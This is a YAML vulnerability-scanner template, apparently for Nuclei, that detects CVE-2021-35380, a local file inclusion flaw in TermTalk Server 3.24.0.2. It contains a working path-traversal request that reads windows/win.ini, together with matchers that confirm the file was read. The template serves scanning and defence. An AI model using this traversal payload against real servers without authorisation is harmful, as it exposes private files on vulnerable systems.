45 lines
1.5 KiB
YAML
45 lines
1.5 KiB
YAML
id: CVE-2021-35380
|
|
|
|
info:
|
|
name: TermTalk Server 3.24.0.2 - Local File Inclusion
|
|
author: fxploit
|
|
severity: high
|
|
description: |
|
|
TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.
|
|
remediation: |
|
|
Apply the latest patch or upgrade to a non-vulnerable version of TermTalk Server.
|
|
reference:
|
|
- https://www.swascan.com/solari-di-udine/
|
|
- https://www.exploit-db.com/exploits/50638
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-35380
|
|
- https://www.swascan.com/it/security-blog/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-35380
|
|
cwe-id: CWE-22
|
|
epss-score: 0.19555
|
|
epss-percentile: 0.95735
|
|
cpe: cpe:2.3:a:solari:termtalk_server:3.24.0.2:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: solari
|
|
product: termtalk_server
|
|
tags: cve,cve2021,termtalk,lfi,unauth,lfr,edb
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/file?valore=../../../../../windows/win.ini"
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "bit app support"
|
|
- "fonts"
|
|
- "extensions"
|
|
condition: and
|
|
|
|
# digest: 4b0a00483046022100802a3e74ce2572c6bd0d022c14527ff23a345c6d634535dc0188f5d452d45a530221009c5bce8a968c9afc881c3ad5fc7607059db2fe46fd02e6544efcd618149dadc6:922c64590222798bb761d5b6d8e72950
|